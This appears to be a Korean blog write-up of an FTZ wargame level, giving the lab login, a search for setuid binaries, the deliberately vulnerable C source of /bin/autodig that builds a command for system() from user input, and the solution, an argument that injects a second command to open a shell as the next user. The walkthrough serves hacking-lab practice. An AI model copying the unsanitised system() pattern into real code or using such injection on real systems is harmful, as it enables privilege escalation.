[FTZ] Level 3

Dinah·2024년 7월 28일

ID: level3
Password: can you fly?

find / -user level4 -perm -4000

/bin/autodig


파일을 실행해봐도 어떻게 해야 할지 감이 안 와서 힌트 파일을 열어봤다.


#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(int argc, char **argv){

    char cmd[100];

    if( argc!=2 ){
        printf( "Auto Digger Version 0.9\n" );
        printf( "Usage : %s host\n", argv[0] );
        exit(0);
    }

    strcpy( cmd, "dig @" );
    strcat( cmd, argv[1] );
    strcat( cmd, " version.bind chaos txt");

    system( cmd );

}

이를 이용하여 level4의 권한을 얻어라.

more hints.
- 동시에 여러 명령어를 사용하려면?
- 문자열 형태로 명령어를 전달하려면?

위의 코드를 해석해보면 argc가 2가 아닌 경우 "dig @argv[1] version.bind chaos txt"를 실행한다는 것을 알 수 있다. 여기서 argv[1]은 함수 실행 시 입력받은 인자값으로, 이 부분에 원하는 명령어를 집어넣어야 한다.

Linux 동시에 여러 명령어 사용하기

; 하나의 라인에 주어진 명령어들을 성공 여부에 관계 없이 전부 실행
&& 앞에서부터 순차적으로 실행하고 명령어 실행에 실패하면 그 다음 명령어들은 실행하지 않음
|| 앞에서부터 순차적으로 실행하고 명령어 실행에 성공하면 그 다음 명령어들은 실행하지 않음

문자열 형태로 명령어를 전달하려면 "명령어" 형식으로 입력한다.

위 힌트를 토대로 /bin/autodig를 실행할 때 쉘 실행 명령어를 인자로 주면

/bin/autodig "; bash;"


level4 권한을 얻고 비밀번호를 알아내는 데 성공했다!

0개의 댓글